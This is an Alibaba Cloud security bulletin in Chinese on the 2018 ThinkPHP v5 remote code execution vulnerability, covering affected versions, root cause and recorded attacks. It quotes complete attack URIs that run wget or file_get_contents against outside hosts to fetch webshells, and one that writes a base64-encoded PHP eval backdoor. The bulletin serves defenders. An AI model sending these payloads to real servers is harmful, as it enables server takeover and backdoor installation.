威胁快报| ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全中心漏洞修复资源包免费试用,100次1年
云安全中心 防病毒版,最高20核 3个月
简介: 2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。

2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。

此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面我们对其漏洞背景,攻击原理和行为进行全面分析,并提供真实案列分析。

漏洞分析

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

漏洞影响的版本

ThinkPHP v5.0系列 < 5.0.23

ThinkPHP v5.1系列 < 5.1.31

漏洞原理分析

通过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php

image

parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。

搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数
image

我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,所以可以直接构造命令注入的函数。

继续分析路由调度的代码app.php,通过'controller' 来执行控制器操作,实例化控制器,跟进controller方法
image

//thinkphp/library/think/Loader.php中,controller调用parseModuleAndClass方法,直接解析$name,实例化$class,当$name匹配 反斜线时直接将其作为方法和类 strpos($name, '\') ,我们可以在这里构造实例化我们想要调用的方法。实例化namespaceclass类并执行call_user_func_array方法。

image
image

漏洞复现:

我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令,可以拿到目录下的所有文件详情。
image

漏洞攻击真实案例

截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有很多,目前主要是以webshell为主,可能由于曝光PoC时间太短,很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后,比较流行的有以下几种:

1. 利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限。

其攻击URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "

通过执行wget命令:wget -O help.php http://tzrj.host.smartgslb.com/help.php.txt,下载webshell。

下面是该webshell所具有的功能列表,如下图:
image

2. 利用file_get_contents和file_put_contents函数,远程下载webshell。

其攻击的URI详情如下:

"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));"

该webshell所具备的功能详细如下图:
image

3. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"

该命令行包含的base64加密字符串解码如下:

"<?php $pass=$_POST['360very'];eval($pass);?>"

该恶意代码将被写入到文件./vendor/autoclass.php中。

漏洞影响和攻击趋势

通过对网站信息数据的统计,我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免自己的网站被攻破,服务器沦陷为肉鸡。

image

下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。

image

安全建议

阿里云安全专家提醒:ThinkPHP的v5.0.23和v5.1.31为安全版本,建议大家尽快升级框架至最新版本来修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击,确保企业正常业务运行。

漏洞详情:https://blog.thinkphp.cn/869075

相关文章
|
10月前
|
弹性计算 监控 数据安全/隐私保护
阿里云ECS云监控界面
阿里云ECS云监控界面
1096 2
|
域名解析 监控 算法
阿里云拨测:主动探测Web应用质量,助力提升用户体验
阿里云拨测是一种针对互联网应用(Web页面、网络链路等)进行应用性能和用户体验监测的服务,无需嵌码即可为云上用户提供开箱即用的企业级主动拨测式应用监测解决方案。
7650 18
阿里云拨测:主动探测Web应用质量,助力提升用户体验
|
2月前
|
Web App开发 监控 网络协议
网络分析与监控:阿里云拨测方案解密
阿里云网络拨测业务提供了全球、多种协议、多种网络态势的用户网络性能和用户体验监控场景的全面可观测方案。该文章从拨测场景下,介绍了用户如何快速的构建一套全球用户视角的服务可用性大盘,为客户的业务保驾护航。
498 90
|
9天前
|
运维 Prometheus 监控
基于阿里云可观测产品构建企业级告警体系的通用路径与最佳实践
基于阿里云可观测产品构建企业级告警体系的通用路径与最佳实践
|
8天前
|
Web App开发 监控 网络协议
网络分析与监控:阿里云拨测方案解密
网络分析与监控:阿里云拨测方案解密
|
7月前
|
机器学习/深度学习 人工智能 运维
"颠覆传统运维!揭秘阿里云AIGC如何化身运维界超级大脑,让故障预警、智能告警不再是梦,运维大神之路从此开启!"
【8月更文挑战第14天】随着AI技术的发展,AIGC正革新依赖人工经验的传统运维行业。阿里云凭借其领先的云计算能力和AI服务生态,为运维智能化提供了坚实基础。通过分析历史数据和系统日志,AIGC能自动发现并预测故障,大幅提升运维效率。例如,结合阿里云SLS和PAI,可构建智能告警系统,实现异常检测和实时预警。随着AIGC技术的进步,运维领域将迎来全面智能化转型,开启运维新时代。
204 3
|
10月前
|
弹性计算 监控 安全
【阿里云弹性计算】ECS实例监控与告警系统构建:利用阿里云监控服务保障稳定性
【5月更文挑战第23天】在数字化时代,阿里云弹性计算服务(ECS)为业务连续性提供保障。通过阿里云监控服务,用户可实时监控ECS实例的CPU、内存、磁盘I/O和网络流量等指标。启用监控,创建自定义视图集中显示关键指标,并设置告警规则(如CPU使用率超80%),结合多种通知方式确保及时响应。定期维护和优化告警策略,利用健康诊断工具,能提升服务高可用性和稳定性,确保云服务的卓越性能。
298 1
|
SQL 消息中间件 分布式计算
基于阿里云 CloudMonitor云监控自定义监控大盘对 EMR 自定义监控实践
本文旨在分享 EMR 平台大数据服务基于阿里云 CloudMonitor 的监控实践,给客户提供除了 EMR 平台默认监控以外,自建监控方式,适用于统一多个阿里云服务的监控监控场景。
885 2
基于阿里云 CloudMonitor云监控自定义监控大盘对 EMR 自定义监控实践
|
Web App开发 弹性计算 监控
试用阿里云云拨测对Web网站的网页性能进行测试并分析
利用分布于全球的监测网络,以真实终端用户使用场景为视角,提供模拟终端用户体验的拨测服务。 可实现对网络质量、页面性能、端口性能、文件传输、音视频体验等场景进行周期性监控,支持多维度分析性能指标。利用可视化性能数据和告警通知可帮助您及时对业务质量作出反应,保证业务稳定正常运行。
657 0
|
弹性计算 监控
直播预告丨阿里云佐井:关注预警6要素,帮助用户实现精准监控和告警
通过监控预警,把问题扼杀在摇篮里,减少故障带来的业务损失。
直播预告丨阿里云佐井:关注预警6要素,帮助用户实现精准监控和告警